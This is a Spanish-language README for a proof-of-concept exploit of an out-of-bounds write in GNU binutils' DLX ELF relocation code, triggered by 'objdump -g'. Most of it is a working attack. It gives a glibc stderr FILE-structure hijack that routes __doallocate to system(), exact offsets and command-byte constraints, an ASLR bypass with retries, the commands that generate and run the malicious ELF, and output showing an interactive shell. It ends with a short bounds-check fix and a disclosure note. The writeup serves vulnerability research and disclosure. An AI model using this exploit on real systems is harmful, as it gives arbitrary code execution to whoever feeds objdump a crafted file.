
Prueba de Concepto (PoC) que demuestra la CVE-2026-18220, una vulnerabilidad de escritura fuera de los límites (OOB) en el backend DLX ELF de GNU binutils (desencadenada específicamente mediante `objdump -g`)
Objetivo: GNU Binutils (todas las versiones hasta HEAD) — objdump
Entorno: Debian 13 (Trixie), glibc 2.41, x86_64
Impacto: Ejecución de código arbitrario
Vector: Archivo ELF manipulado procesado por objdump -g
ASLR: Evitado (delta mmap determinista)
Un enorme agradecimiento a bikini por la mención y su juego limpio con respecto a este descubrimiento. Es un gran tipo, tuve el placer de charlar con él, y ha hecho algunos hallazgos increíbles por su cuenta. ¡Echad un vistazo a su trabajo!
bfd/elf32-dlx.cEl manejador de reubicación R_DLX_RELOC_26_PCREL () realiza una lectura/escritura de 4 bytes en sin validar el desplazamiento contra el tamaño de la sección. Dado que la función devuelve , la verificación de límites genérica en se omite por completo.
elf32_dlx_relocate26data + reloc_entry->addressbfd_reloc_okbfd/reloc.c// bfd/elf32-dlx.c — elf32_dlx_relocate26()
insn = bfd_get_32(abfd, data + reloc_entry->address); // OOB read
vallo = insn & 0x03FFFFFF;
if (vallo & 0x03000000)
vallo = ~(vallo | 0xFC000000) + 1; // sign-extend 26 bits
val = (sym->section->vma + sym->value) - vallo;
insn = (insn & 0xFC000000) | (val & 0x03FFFFFF);
bfd_put_32(abfd, insn, data + reloc_entry->address); // OOB write
return bfd_reloc_ok; // skips bounds check
El desplazamiento reloc_entry->address se lee directamente del archivo ELF y puede apuntar arbitrariamente más allá del búfer de la sección.
En x86_64, los desplazamientos ELF32 se extienden con ceros, limitando las escrituras a desplazamientos positivos. Una sección .debug_info ≥ 128 KB obliga a malloc() a usar mmap(), colocando el búfer adyacente al segmento de datos de libc:
┌──────────────────────────────────────┐ ← same mmap region
│ .debug_info buffer (192 KB) │ data = 0x7f...d010
│ ├── fake _IO_wide_data (+0x1000) │
│ └── fake _IO_jump_t (+0x2000) │
│ ... │
│ _IO_2_1_stderr_ │ stderr = data + 0x21a4d0
│ _IO_wfile_jumps │ wfile = data + 0x218218
│ system() │ system() = data + 0x87100
└──────────────────────────────────────┘
El delta stderr - data = 0x21A4D0 es constante en todas las ejecuciones de ASLR porque ambas regiones son asignadas por el mismo mmap durante la carga de libc.
objdump writes to stderr ("Can't get contents for section...")
└─► _IO_wfile_overflow(stderr)
└─► _IO_wdoallocbuf(stderr)
└─► _IO_WDOALLOCATE(stderr)
= stderr->_wide_data->_wide_vtable->__doallocate(stderr)
= fake_vtable[0x68](https://github.com/4d4j/objdump-out-of-bounds-write/blob/main/stderr)
= system(stderr)
= system("p;sh") ← stderr._flags[0:4] = "p;sh"
| # | Objetivo (desplazamiento desde data) | Efecto |
|---|---|---|
| 0 | 0x21A4CF = stderr − 1 | _flags[0:3] = cmd[0..2] → inicio del argumento de system() |
| 1 | 0x21A4F8 = stderr + 0x28 | _IO_write_ptr ≠ 0 → fuerza un vaciado → desbordamiento |
| 2 | 0x21A56F = stderr + 0x9F | _wide_data[0:3] → apunta a _IO_wide_data falsa |
| 3 | 0x21A5A7 = stderr + 0xD7 | vtable[0:3] → apunta a _IO_wfile_jumps |
| 4 | 0x21A4D2 = stderr + 2 | _flags[3] = cmd[3], relleno limpiado → terminador nulo |
data + 0x1000 : fake _IO_wide_data
+0xE0 : _wide_vtable → data + 0x2000
data + 0x2000 : fake _IO_jump_t
+0x68 : __doallocate → system()
El exploit admite comandos de 2 a 4 caracteres. La reubicación 0 escribe _flags[0:3] y la reubicación 4 escribe _flags[3] + limpia el relleno, dando a system() hasta 4 caracteres antes del terminador nulo natural.
Solo los primeros dos bytes están restringidos por el diseño de banderas FILE de glibc:
| Bit | Bandera | Restricción | Razón |
|---|---|---|---|
| 1 | _IO_UNBUFFERED | cmd[0] & 0x02 == 0 | de lo contrario _IO_wdoallocbuf omite __doallocate |
| 3 | _IO_NO_WRITES | cmd[0] & 0x08 == 0 | de lo contrario el desbordamiento devuelve WEOF inmediatamente |
| 13 | _IO_IS_FILEBUF | cmd[1] & 0x20 != 0 | requerido para entrar en el bloque doallocate |
cmd[2] y cmd[3] no tienen restricciones.
| Comando | Bytes | Efecto |
|---|---|---|
"ps" | 70 73 | listar procesos |
"p;sh" | 70 3B 73 68 | generar un shell interactivo ← más útil |
"p;ls" | 70 3B 6C 73 | listar directorio |
"p;id" | 70 3B 69 64 | imprimir uid/gid |
# Build binutils with DLX target support
cd binutils-gdb && mkdir build && cd build
../configure --target=dlx-elf --disable-nls --disable-werror
make -j$(nproc)
# Step 1: Generate the malicious ELF (choose your command)
python3 poc_generate.py --cmd "p;sh" -o exploit.bin
# Step 2: Run the exploit (ASLR on, standalone, no GDB)
python3 poc_ptrace.py --cmd "p;sh" # interactive shell
python3 poc_ptrace.py --cmd "p;id" # print uid/gid
python3 poc_ptrace.py # default: "ps"
El exploit reintenta automáticamente hasta 5 veces en desajustes del byte 3 de ASLR (~12% por intento), alcanzando una tasa de éxito de ~99.998%.
[*] libc: /lib/x86_64-linux-gnu/libc.so.6
[*] cmd = 'p;sh' bytes = ['0x70', '0x3b', '0x73', '0x68']
[*] objdump_base = 0x005e61dfbf5000
[*] fn_addr = 0x005e61e06cad90 (elf32_dlx_relocate26)
[*] libc_base = 0x0075b1ed86c000
[*] stderr = 0x0075b1eda524e0
[*] system = 0x0075b1ed8bf110
[*] actual delta = 0x21a4d0 (expected 0x21a4d0)
[*] reloc0 sym->value <- 0x00f65c20 (cmd[0..2] = 'p;s')
[*] reloc4 sym->value <- 0x016d0000 (cmd[3] = 0x68)
...
[+] system() reached — command executing
$ id ← interactive shell
uid=1000(user) gid=1000(user) groups=1000(user)
[+] Done
Añadir una verificación de límites en elf32_dlx_relocate26() antes de acceder a los datos de la sección:
if (reloc_entry->address + 4 > input_section->size)
return bfd_reloc_outofrange;
| Archivo | Descripción |
|---|---|
poc_generate.py | Genera el payload ELF DLX malicioso (exploit.bin) con 5 reubicaciones OOB |
poc_ptrace.py | Exploit independiente — evasión de ASLR basada en ptrace, bucle de reintento, no requiere GDB |
exploit.bin | Payload pregenerado (cmd por defecto "p;sh") |
Esta vulnerabilidad fue reportada a los mantenedores de GNU Binutils. El código del exploit se proporciona únicamente para fines de investigación de seguridad autorizados.